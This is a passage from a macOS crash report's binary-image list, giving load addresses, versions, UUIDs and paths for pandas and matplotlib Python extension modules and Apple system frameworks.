       0x113fe1000 -        0x113fe6ff7 +_json.cpython-37m-darwin.so (0) <FCBCFF72-1F16-343B-8544-5F810977C270> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_json.cpython-37m-darwin.so
       0x1140aa000 -        0x1140affff +indexing.cpython-37m-darwin.so (0) <1F1B14BD-E495-3645-A846-C8AD907F2223> /usr/local/lib/python3.7/site-packages/pandas/_libs/indexing.cpython-37m-darwin.so
       0x1140f6000 -        0x114123ffb +internals.cpython-37m-darwin.so (0) <D20A48ED-DC7D-3C81-BF17-790B61A3A78E> /usr/local/lib/python3.7/site-packages/pandas/_libs/internals.cpython-37m-darwin.so
       0x11417d000 -        0x114180fff +_csv.cpython-37m-darwin.so (0) <727DC667-61CF-376A-B504-3D9DCDFAA934> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_csv.cpython-37m-darwin.so
       0x114185000 -        0x114187fff +mmap.cpython-37m-darwin.so (0) <B19F543B-E194-3C22-94C8-C4B89043FAA8> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/mmap.cpython-37m-darwin.so
       0x11468c000 -        0x1146b1ff7 +_path.cpython-37m-darwin.so (???) <148096A9-DD69-36AD-95A7-194928F0C276> /usr/local/lib/python3.7/site-packages/matplotlib/_path.cpython-37m-darwin.so
       0x114704000 -        0x114794ff7 +window.cpython-37m-darwin.so (0) <0DBB65CF-3C54-3DD6-9123-6006DCB0B941> /usr/local/lib/python3.7/site-packages/pandas/_libs/window.cpython-37m-darwin.so
       0x1147c2000 -        0x1147d1ff7 +skiplist.cpython-37m-darwin.so (0) <5D75199F-D2F1-3E0F-97C6-281ACA21ED3E> /usr/local/lib/python3.7/site-packages/pandas/_libs/skiplist.cpython-37m-darwin.so
       0x11485b000 -        0x11488cfff +reduction.cpython-37m-darwin.so (0) <762E3453-1ADE-3C71-B47B-6810D96AD485> /usr/local/lib/python3.7/site-packages/pandas/_libs/reduction.cpython-37m-darwin.so
       0x1148e3000 -        0x11490effb +reshape.cpython-37m-darwin.so (0) <162AF87F-1B8F-3D89-AF6D-933EC50F7B13> /usr/local/lib/python3.7/site-packages/pandas/_libs/reshape.cpython-37m-darwin.so
       0x1149a6000 -        0x1149b4ff3 +json.cpython-37m-darwin.so (0) <F4A93DA0-A23D-365D-8FA3-A9E78BF09518> /usr/local/lib/python3.7/site-packages/pandas/_libs/json.cpython-37m-darwin.so
       0x1149be000 -        0x114a2cff3 +parsers.cpython-37m-darwin.so (0) <83256B86-14DB-3907-BE06-23F0583AD244> /usr/local/lib/python3.7/site-packages/pandas/_libs/parsers.cpython-37m-darwin.so
       0x114a98000 -        0x114ab8ff3 +writers.cpython-37m-darwin.so (0) <86497737-86BA-3797-A42A-42A29DF2D590> /usr/local/lib/python3.7/site-packages/pandas/_libs/writers.cpython-37m-darwin.so
       0x114b0f000 -        0x114b0fffb +_move.cpython-37m-darwin.so (0) <AF2126B5-FD6D-3904-9057-BEA2E6E9572B> /usr/local/lib/python3.7/site-packages/pandas/util/_move.cpython-37m-darwin.so
       0x114b12000 -        0x114b1dff3 +_packer.cpython-37m-darwin.so (0) <EA54BBBA-4AF7-31C1-89C9-80CE33EC6EC0> /usr/local/lib/python3.7/site-packages/pandas/io/msgpack/_packer.cpython-37m-darwin.so
       0x114b28000 -        0x114b37ff7 +_unpacker.cpython-37m-darwin.so (0) <FBBA3241-DD19-30F4-82A7-2E1CC5EE5A99> /usr/local/lib/python3.7/site-packages/pandas/io/msgpack/_unpacker.cpython-37m-darwin.so
       0x114c45000 -        0x114c53ff7 +testing.cpython-37m-darwin.so (0) <63E7255C-4BCC-3EE0-9515-7231ED48AF8B> /usr/local/lib/python3.7/site-packages/pandas/_libs/testing.cpython-37m-darwin.so
    0x7fff34bd7000 -     0x7fff34bd7fff  com.apple.Accelerate (1.11 - Accelerate 1.11) <A09CB6D5-3F8A-3E05-B0EB-63878296A059> /System/Library/Frameworks/Accelerate.framework/Versions/A/Accelerate
    0x7fff34bef000 -     0x7fff3528ffe3  com.apple.vImage (8.1 - ???) <BDA40EB0-9B20-3ACF-BE37-199578FA84F4> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vImage.framework/Versions/A/vImage
    0x7fff35290000 -     0x7fff35507fd7  libBLAS.dylib (1243.200.4) <0ADBEAE3-6636-33E5-AC9F-11C2249E19D3> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
    0x7fff35508000 -     0x7fff3557afe7  libBNNS.dylib (38.200.5) <CC93B9B5-2A8C-3D42-9234-75DD41EC8C0D> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBNNS.dylib
    0x7fff3557b000 -     0x7fff35921fff  libLAPACK.dylib (1243.200.4) <45722A8A-5788-3C4C-ADD9-1812763FA635> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib
    0x7fff35922000 -     0x7fff35937ffb  libLinearAlgebra.dylib (1243.200.4) <3923AB79-213E-32FD-AC87-8B1A1A832336> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLinearAlgebra.dylib
    0x7fff35938000 -     0x7fff3593dff3  libQuadrature.dylib (3.200.2) <4FBCAC0A-81A4-3C53-8458-27F3569C809D> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libQuadrature.dylib
    0x7fff3593e000 -     0x7fff359bbffb  libSparse.dylib (79.200.5) <2D650C50-E87E-3F24-9BFA-C8EB6DE1A6E9> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparse.dylib
    0x7fff359bc000 -     0x7fff359cfffb  libSparseBLAS.dylib (1243.200.4) <6F8C78BE-A0FD-3507-8A95-541AFC57F1EE> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparseBLAS.dylib
    0x7fff359d0000 -     0x7fff35bb4ff3  libvDSP.dylib (671.220.1) <2F576522-08B1-3C65-8F00-3427E938ADDA> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvDSP.dylib
    0x7fff35bb5000 -     0x7fff35c6aff3  libvMisc.dylib (671.220.1) <D7B5F89D-3310-31F4-B8BF-42DA300ABE64> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvMisc.dylib
    0x7fff35c6b000 -     0x7fff35c6bfff  com.apple.Accelerate.vecLib (3.11 - vecLib 3.11) <221E4FEF-0431-3316-8281-22B6F8315A09> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/vecLib
    0x7fff36c8f000 -     0x7fff36c8ffff  com.apple.ApplicationServices (50.1 - 50.1) <86D6F10E-21F8-3CDC-9838-EB07A1C54BA9> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices
    0x7fff36c90000 -     0x7fff36cfbff7  com.apple.ApplicationServices.ATS (377 - 453.11) <4080F8BE-F2A2-3707-8754-436FBDB1DAF1> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/ATS
    0x7fff36d94000 -     0x7fff36eb3fff  libFontParser.dylib (228.6) <BBCBEE2C-5B55-3278-B81D-22D72466753E> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontParser.dylib
    0x7fff36eb4000 -     0x7fff36effff7  libFontRegistry.dylib (228.12.1.1) <B515718C-81BC-3705-A207-7215486C6D28> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontRegistry.dylib
    0x7fff36ffb000 -     0x7fff36fffff3  com.apple.ColorSyncLegacy (4.13.0 - 1) <4B1238CC-9B77-3AA5-8329-EE3C736F07EA> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ColorSyncLegacy.framework/Versions/A/ColorSyncLegacy
    0x7fff3709c000 -     0x7fff370eeff3  com.apple.HIServices (1.22 - 627.14.2) <1F851BF9-AD29-3558-9EA5-AAD9BAAAC823> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/HIServices.framework/Versions/A/HIServices
    0x7fff370ef000 -     0x7fff370fdff3  com.apple.LangAnalysis (1.7.0 - 1.7.0) <5654723A-7B3B-391F-B9F7-0DE4D5940185> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/LangAnalysis.framework/Versions/A/LangAnalysis
    0x7fff370fe000 -     0x7fff3714afff  com.apple.print.framework.PrintCore (14.2 - 503.8) <F1246C9A-2216-3390-8DF1-89304F47CE5D> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/PrintCore.framework/Versions/A/PrintCore
    0x7fff3714b000 -     0x7fff37186ff7  com.apple.QD (3.12 - 407.2) <F6B648DA-DA39-3EB4-B593-1B7E316661CD> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/QD.framework/Versions/A/QD
    0x7fff37187000 -     0x7fff37193ff7  com.apple.speech.synthesis.framework (8.1.0 - 8.1.0) <CF19C8B6-AAD5-3DCF-ABD0-3BABB44D119C> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/SpeechSynthesis.framework/Versions/A/SpeechSynthesis
    0x7fff37194000 -     0x7fff37431fff  com.apple.audio.toolbox.AudioToolbox (1.14 - 1.14) <5D484151-F269-3D98-B507-0544A6B950AC> /System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox
    0x7fff37797000 -     0x7fff37b58fff  com.apple.CFNetwork (976 - 976) <A434842F-305B-301D-8F88-373CA7BF7196> /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork
    0x7fff38096000 -     0x7fff38162fff  com.apple.ColorSync (4.13.0 - 3340) <2F45EB01-0C51-3D25-9836-18F99222E1C7> /System/Library/Frameworks/ColorSync.framework/Versions/A/ColorSync
    0x7fff382fd000 -     0x7fff3838dfff  com.apple.audio.CoreAudio (4.3.0 - 4.3.0) <1E7EF105-B843-370D-884E-0A43E1A5800B> /System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio
    0x7fff3841f000 -     0x7fff387c0fef  com.apple.CoreData (120 - 866.1) <18CD58FD-513E-385B-B43C-08EEB909709C> /System/Library/Frameworks/CoreData.framework/Versions/A/CoreData
    0x7fff387c1000 -     0x7fff388aaff7  com.apple.CoreDisplay (101.3 - 106.2) <EE0D334B-8B71-3A70-9F90-677171D6762F> /System/Library/Frameworks/CoreDisplay.framework/Versions/A/CoreDisplay
    0x7fff388ab000 -     0x7fff38cf8fef  com.apple.CoreFoundation (6.9 - 1562) <02A2C178-9FF6-385C-A9C5-7F4FC9D66311> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
    0x7fff38cfa000 -     0x7fff39387ff7  com.apple.CoreGraphics (2.0 - 1249.2) <78B75F62-4B60-3FF4-9259-8981E755F6CD> /System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics
    0x7fff39389000 -     0x7fff396b2fff  com.apple.CoreImage (14.2.0 - 720.0.130) <B356BA95-EDD3-35D8-9E4B-250AF6C6DDF9> /System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage
    0x7fff39b68000 -     0x7fff39b68fff  com.apple.CoreServices (941 - 941) <6DBA4791-26DB-39FB-A6A3-5910A0F2EDD2> /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices
    0x7fff39b69000 -     0x7fff39be7ffb  com.apple.AE (771 - 771) <4B009524-699E-3891-98DD-E3B6BB433C8F> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/AE.framework/Versions/A/AE
    0x7fff39be8000 -     0x7fff39ec0ff7  com.apple.CoreServices.CarbonCore (1178.16 - 1178.16) <17FC2B9E-EB6C-3768-A2D0-6E086F2563D9> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/CarbonCore.framework/Versions/A/CarbonCore
    0x7fff39ec1000 -     0x7fff39f0bff7  com.apple.DictionaryServices (1.2 - 284.16.3) <1DAC9153-FB5A-3798-8797-CBFEFF227F71> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/DictionaryServices
    0x7fff39f0c000 -     0x7fff39f14ffb  com.apple.CoreServices.FSEvents (1239.200.12 - 1239.200.12) <8E1507EA-F0A8-3845-B32D-4FBC1381E89C> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/FSEvents
    0x7fff39f15000 -     0x7fff3a0e0fff  com.apple.LaunchServices (941 - 941) <A8E42760-995C-35E2-BF4A-C96FD0633B29> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/LaunchServices
    0x7fff3a0e1000 -     0x7fff3a183fff  com.apple.Metadata (10.7.0 - 1191.53) <48609998-8A34-3CAF-8A42-52C180809656> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Metadata
    0x7fff3a184000 -     0x7fff3a1cfff7  com.apple.CoreServices.OSServices (941 - 941) <1B9EA259-09DF-332B-807A-BD50F3184CAC> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/OSServices
    0x7fff3a1d0000 -     0x7fff3a23eff7  com.apple.SearchKit (1.4.0 - 1.4.0) <CEC29BB5-D28E-3424-84FE-70756E521F3B> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SearchKit.framework/Versions/A/SearchKit
    0x7fff3a23f000 -     0x7fff3a263ffb  com.apple.coreservices.SharedFileList (71.27 - 71.27) <6389B59D-DDAC-3C97-A982-137B9B1FB734> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SharedFileList.framework/Versions/A/SharedFileList
    0x7fff3a5ab000 -     0x7fff3a710ffb  com.apple.CoreText (352.0 - 584.26) <5F61037C-825D-37A4-9091-0047413CC213> /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText
    0x7fff3a711000 -     0x7fff3a74efff  com.apple.CoreVideo (1.8 - 0.0) <34EC73F1-F0ED-32F5-B96E-7683B1F9A7A2> /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo
    0x7fff3aa62000 -     0x7fff3aa67fff  com.apple.DiskArbitration (2.7 - 2.7) <97707A79-30E7-3D99-AA20-B992B0900BC4> /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration
    0x7fff3ac30000 -     0x7fff3affefff  com.apple.Foundation (6.9 - 1562) <83D4A12B-EA5A-3C62-8D93-95E64F0A256B> /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
    0x7fff3b06f000 -     0x7fff3b09fff3  com.apple.GSS (4.0 - 2.0) <86D07291-5DFC-30C2-9A18-5FCEDB0BE621> /System/Library/Frameworks/GSS.framework/Versions/A/GSS
    0x7fff3b325000 -     0x7fff3b3b8fff  com.apple.framework.IOKit (2.0.2 - 1483.240.1) <241690BB-8AFA-3B6A-A210-67874197CB59> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
    0x7fff3b3ba000 -     0x7fff3b3c4ff7  com.apple.IOSurface (255.1 - 255.1) <58826B1A-38E8-3C76-8FFC-76C9282DA893> /System/Library/Frameworks/IOSurface.framework/Versions/A/IOSurface
    0x7fff3b41b000 -     0x7fff3b5b9fff  com.apple.ImageIO.framework (3.3.0 - 1822.1) <908907D5-5C29-32F7-ACD9-C6A6D51C4D15> /System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO
    0x7fff3b5ba000 -     0x7fff3b5beffb  libGIF.dylib (1822.1) <35E37B95-1962-3A25-9C9E-CADD161152B3> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libGIF.dylib
    0x7fff3b5bf000 -     0x7fff3b6a4fe7  libJP2.dylib (1822.1) <BDBCBF28-12DB-3D63-B6F0-A559D1839F81> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJP2.dylib
    0x7fff3b6a5000 -     0x7fff3b6caff7  libJPEG.dylib (1822.1) <D443C754-4AFC-38E1-9E45-D309ACBCE17B> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib
    0x7fff3b99d000 -     0x7fff3b9c3fe7  libPng.dylib (1822.1) <28FE6E2C-1A17-3A84-AAF3-76014DEADDD4> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libPng.dylib
    0x7fff3b9c4000 -     0x7fff3b9c6ff7  libRadiance.dylib (1822.1) <687906E3-4EC2-3CE9-B7EA-34418239EE1B> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libRadiance.dylib
    0x7fff3b9c7000 -     0x7fff3ba15ffb  libTIFF.dylib (1822.1) <0A1C083B-CE2F-3A00-8E45-EB58DCA2FF34> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libTIFF.dylib
    0x7fff3cabf000 -     0x7fff3cad8fff  com.apple.Kerberos (3.0 - 1) <5D1B0593-3C0E-32D5-AAE5-ABC22A98B639> /System/Library/Frameworks/Kerberos.framework/Versions/A/Kerberos
    0x7fff3d4fa000 -     0x7fff3d58dfff  com.apple.Metal (158.5 - 158.5) <72BF7187-81FE-389B-882F-7B2587FEB455> /System/Library/Frameworks/Metal.framework/Versions/A/Metal
    0x7fff3d5aa000 -     0x7fff3d5caff7  com.apple.MetalPerformanceShaders.MPSCore (1.0 - 1) <18281B14-0C6A-38F8-AB80-2D4BB0743C88> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSCore.framework/Versions/A/MPSCore
    0x7fff3d5cb000 -     0x7fff3d649ff7  com.apple.MetalPerformanceShaders.MPSImage (1.0 - 1) <BEAF764B-362B-3C45-86F5-2AFBA5FA0F47> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSImage.framework/Versions/A/MPSImage
    0x7fff3d64a000 -     0x7fff3d672fff  com.apple.MetalPerformanceShaders.MPSMatrix (1.0 - 1) <116D6C1A-2FD7-3743-95A0-CDDA3D459529> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSMatrix.framework/Versions/A/MPSMatrix
    0x7fff3d673000 -     0x7fff3d7a5ff7  com.apple.MetalPerformanceShaders.MPSNeuralNetwork (1.0 - 1) <88E80BEE-3D2B-328B-80D4-F4717BDB2E9F> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSNeuralNetwork.framework/Versions/A/MPSNeuralNetwork
    0x7fff3d7a6000 -     0x7fff3d7c1ff7  com.apple.MetalPerformanceShaders.MPSRayIntersector (1.0 - 1) <E0E652B0-1624-3435-AD60-83A9C4B59852> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSRayIntersector.framework/Versions/A/MPSRayIntersector
    0x7fff3d7c2000 -     0x7fff3d7c2ff7  com.apple.MetalPerformanceShaders.MetalPerformanceShaders (1.0 - 1) <1BBA8BC8-49C6-3C9B-B985-7CE4373E3553> /System/Library/Frameworks/MetalPerformanceShaders.framework/Versions/A/MetalPerformanceShaders
    0x7fff3e9c0000 -     0x7fff3e9ccffb  com.apple.NetFS (6.0 - 4.0) <918DF6CD-2DB0-36A8-B869-5EF637A06C0D> /System/Library/Frameworks/NetFS.framework/Versions/A/NetFS
    0x7fff4148c000 -     0x7fff414e4fff  com.apple.opencl (2.15.1 - 2.15.1) <CC9439C3-FF30-38D2-BF2F-EA0EF1B5775E> /System/Library/Frameworks/OpenCL.framework/Versions/A/OpenCL
    0x7fff414e5000 -     0x7fff41501ff7  com.apple.CFOpenDirectory (10.14 - 207.200.4) <2CB1F122-2FA0-347C-8454-9CE0FA150832> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/Frameworks/CFOpenDirectory.framework/Versions/A/CFOpenDirectory
    0x7fff41502000 -     0x7fff4150effb  com.apple.OpenDirectory (10.14 - 207.200.4) <A3FB0F0C-57F4-3F89-A4B1-63DA1F7C9E8E> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory
    0x7fff41e71000 -     0x7fff41e73fff  libCVMSPluginSupport.dylib (17.3.1) <B2310175-04D6-378B-A220-A8AD7F0DA68E> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCVMSPluginSupport.dylib
    0x7fff41e74000 -     0x7fff41e79ff3  libCoreFSCache.dylib (163.20) <566DB80E-F1D6-3AEC-AF06-08955507AFEE> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreFSCache.dylib
    0x7fff41e7a000 -     0x7fff41e7efff  libCoreVMClient.dylib (163.20) <B9A89373-BDCD-3003-9A82-6D73B930A122> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreVMClient.dylib
    0x7fff41e7f000 -     0x7fff41e87ffb  libGFXShared.dylib (17.3.1) <9FFA679A-8CC9-3932-8A41-AA80C386AD3A> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGFXShared.dylib
    0x7fff41e88000 -     0x7fff41e93fff  libGL.dylib (17.3.1) <CFAB6AE4-E646-3E8A-B872-EF091CAF949E> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGL.dylib
    0x7fff41e94000 -     0x7fff41ecefef  libGLImage.dylib (17.3.1) <1AEC8E56-D851-3516-96FE-2829883A8302> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLImage.dylib
    0x7fff42042000 -     0x7fff4207ffff  libGLU.dylib (17.3.1) <90279918-D4B2-31E0-9709-8E06628D9486> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLU.dylib
    0x7fff42a2f000 -     0x7fff42a3eff3  com.apple.opengl (17.3.1 - 17.3.1) <2F59064F-D6EF-35CD-9747-20A91DB3D5DF> /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL
    0x7fff4389a000 -     0x7fff43af3fff  com.apple.QuartzCore (1.11 - 696.3) <01A2F065-8759-311D-AC2E-FD49F52A87FA> /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore
    0x7fff44347000 -     0x7fff4466fff7  com.apple.security (7.0 - 58286.240.4) <91A03FF2-2EE9-36A7-AC4F-169E11FE7846> /System/Library/Frameworks/Security.framework/Versions/A/Security
    0x7fff44670000 -     0x7fff446fffff  com.apple.securityfoundation (6.0 - 55185.200.14) <F6A0EC77-51DB-3312-991C-3E1F920DE8F1> /System/Library/Frameworks/SecurityFoundation.framework/Versions/A/SecurityFoundation
    0x7fff44731000 -     0x7fff44735ff3  com.apple.xpc.ServiceManagement (1.0 - 1) <26BA237C-DBA0-3322-B9BF-8B8E739E3A20> /System/Library/Frameworks/ServiceManagement.framework/Versions/A/ServiceManagement
    0x7fff44af2000 -     0x7fff44b62ff3  com.apple.SystemConfiguration (1.17 - 1.17) <A8FD596E-C858-397F-836C-978038B97AC0> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
    0x7fff47dd0000 -     0x7fff47e75fe7  com.apple.APFS (1.0 - 1) <BCB42C90-DEE0-3CD2-9B28-55CD8EFD9487> /System/Library/PrivateFrameworks/APFS.framework/Versions/A/APFS
    0x7fff488c1000 -     0x7fff488c2ff3  com.apple.AggregateDictionary (1.0 - 1) <EBA6443E-6CF0-34F6-B77A-3FCEC57F8F80> /System/Library/PrivateFrameworks/AggregateDictionary.framework/Versions/A/AggregateDictionary
    0x7fff491c7000 -     0x7fff491d6fcf  com.apple.AppleFSCompression (96.200.3 - 1.0) <78D538DD-1D24-34FC-AFB3-10411494870D> /System/Library/PrivateFrameworks/AppleFSCompression.framework/Versions/A/AppleFSCompression
    0x7fff49320000 -     0x7fff49369ff3  com.apple.AppleJPEG (1.0 - 1) <EC4C49F1-C060-3C0F-910F-3620985D4F12> /System/Library/PrivateFrameworks/AppleJPEG.framework/Versions/A/AppleJPEG
    0x7fff495bc000 -     0x7fff495e4ff7  com.apple.applesauce (1.0 - ???) <58654BC0-9243-39D1-BC43-B7F2E37A3A44> /System/Library/PrivateFrameworks/AppleSauce.framework/Versions/A/AppleSauce
    0x7fff4974a000 -     0x7fff49760ffb  com.apple.AssertionServices (1.0 - 1) <3F767D20-FE14-35CF-A089-E0445375ECFB> /System/Library/PrivateFrameworks/AssertionServices.framework/Versions/A/AssertionServices
    0x7fff49f10000 -     0x7fff49f19ff3  com.apple.coreservices.BackgroundTaskManagement (1.0 - 57.1) <05CF66F0-9650-3F75-9857-F8D186043866> /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/BackgroundTaskManagement
    0x7fff49fbd000 -     0x7fff4a02effb  com.apple.BaseBoard (360.24 - 360.24) <04AF4372-C5D3-3F0A-A688-68D888D6D138> /System/Library/PrivateFrameworks/BaseBoard.framework/Versions/A/BaseBoard
    0x7fff4bbe3000 -     0x7fff4bbecfff  com.apple.CommonAuth (4.0 - 2.0) <090893E5-BB65-39DA-A174-EAB2C7191EFE> /System/Library/PrivateFrameworks/CommonAuth.framework/Versions/A/CommonAuth
    0x7fff4c8fd000 -     0x7fff4c911fff  com.apple.CoreEmoji (1.0 - 69.19.8) <26BC0F82-08C1-3EBD-9299-D3CC5091C467> /System/Library/PrivateFrameworks/CoreEmoji.framework/Versions/A/CoreEmoji
    0x7fff4cee7000 -     0x7fff4cf59ff7  com.apple.CoreNLP (1.0 - 130.15.22) <D0A3E880-CDEA-360A-9838-220D76BAECC6> /System/Library/PrivateFrameworks/CoreNLP.framework/Versions/A/CoreNLP
    0x7fff4dcf0000 -     0x7fff4dcf4ff7  com.apple.DSExternalDisplay (3.1 - 380) <76449D22-BA27-3FB1-AD25-A290936E6DEA> /System/Library/PrivateFrameworks/DSExternalDisplay.framework/Versions/A/DSExternalDisplay
    0x7fff4f019000 -     0x7fff4f441fff  com.apple.vision.FaceCore (3.3.4 - 3.3.4) <41218EB7-19C9-3813-A793-B0623387CADF> /System/Library/PrivateFrameworks/FaceCore.framework/Versions/A/FaceCore
    0x7fff5440e000 -     0x7fff54413ff7  com.apple.GPUWrangler (3.28.4 - 3.28.4) <7E06C75D-5502-3F1D-987C-4F103917CD85> /System/Library/PrivateFrameworks/GPUWrangler.framework/Versions/A/GPUWrangler
    0x7fff5527e000 -     0x7fff5528dfff  com.apple.GraphVisualizer (1.0 - 5) <CAFE626E-9738-3C14-88AA-B6A9182F2C39> /System/Library/PrivateFrameworks/GraphVisualizer.framework/Versions/A/GraphVisualizer
    0x7fff553de000 -     0x7fff55453fff  com.apple.Heimdal (4.0 - 2.0) <D99FF31F-6310-3D80-8AE3-64934385AC11> /System/Library/PrivateFrameworks/Heimdal.framework/Versions/A/Heimdal
    0x7fff56843000 -     0x7fff5684affb  com.apple.IOAccelerator (404.2.2 - 404.2.2) <2F099589-DBE9-3442-AC93-F4AB363482A0> /System/Library/PrivateFrameworks/IOAccelerator.framework/Versions/A/IOAccelerator
    0x7fff5684e000 -     0x7fff56867fff  com.apple.IOPresentment (1.0 - 42.6) <F7E91CC9-E4BB-3904-8647-0473E3BCAF70> /System/Library/PrivateFrameworks/IOPresentment.framework/Versions/A/IOPresentment
    0x7fff56f7a000 -     0x7fff57071fff  com.apple.LanguageModeling (1.0 - 159.15.15) <34609F31-4DA1-3881-8947-85BEA7AFC938> /System/Library/PrivateFrameworks/LanguageModeling.framework/Versions/A/LanguageModeling
    0x7fff57072000 -     0x7fff570b3ff7  com.apple.Lexicon-framework (1.0 - 33.15.10) <07E008F3-E823-333B-8B41-A46024AB0561> /System/Library/PrivateFrameworks/Lexicon.framework/Versions/A/Lexicon
    0x7fff570ba000 -     0x7fff570c0ff7  com.apple.LinguisticData (1.0 - 238.23.4) <F6AA7095-3975-3C76-9833-BBE955EFEBD7> /System/Library/PrivateFrameworks/LinguisticData.framework/Versions/A/LinguisticData
    0x7fff57e1d000 -     0x7fff57e45ffb  com.apple.spotlight.metadata.utilities (1.0 - 1191.53) <2CFFD786-87A5-3629-B5E1-8E4DEF51ADA8> /System/Library/PrivateFrameworks/MetadataUtilities.framework/Versions/A/MetadataUtilities
    0x7fff57e46000 -     0x7fff57ed8fff  com.apple.gpusw.MetalTools (1.0 - 1) <C0489BBD-C25C-33E5-84CD-8A50205080A0> /System/Library/PrivateFrameworks/MetalTools.framework/Versions/A/MetalTools
    0x7fff5812c000 -     0x7fff58156ff7  com.apple.MultitouchSupport.framework (2410.5 - 2410.5) <3A712911-F672-3BB3-B62B-A2A7BADF3578> /System/Library/PrivateFrameworks/MultitouchSupport.framework/Versions/A/MultitouchSupport
    0x7fff583c9000 -     0x7fff583d4fff  com.apple.NetAuth (6.2 - 6.2) <A6474ABC-FD4B-3A8F-AB33-7AACEEED7F0E> /System/Library/PrivateFrameworks/NetAuth.framework/Versions/A/NetAuth
    0x7fff58ca1000 -     0x7fff58cf7fff  com.apple.OTSVG (1.0 - ???) <F020144A-D840-390D-A87F-29E8095C78AF> /System/Library/PrivateFrameworks/OTSVG.framework/Versions/A/OTSVG
    0x7fff5e9ea000 -     0x7fff5ec9cff3  com.apple.SkyLight (1.600.0 - 337.5) <B18B2F6F-F44B-3B5B-8DA1-3B8977E59240> /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/SkyLight
    0x7fff60871000 -     0x7fff6087effb  com.apple.TCC (1.0 - 1) <81F88B91-49C1-36E7-8A39-C4BD654EE942> /System/Library/PrivateFrameworks/TCC.framework/Versions/A/TCC
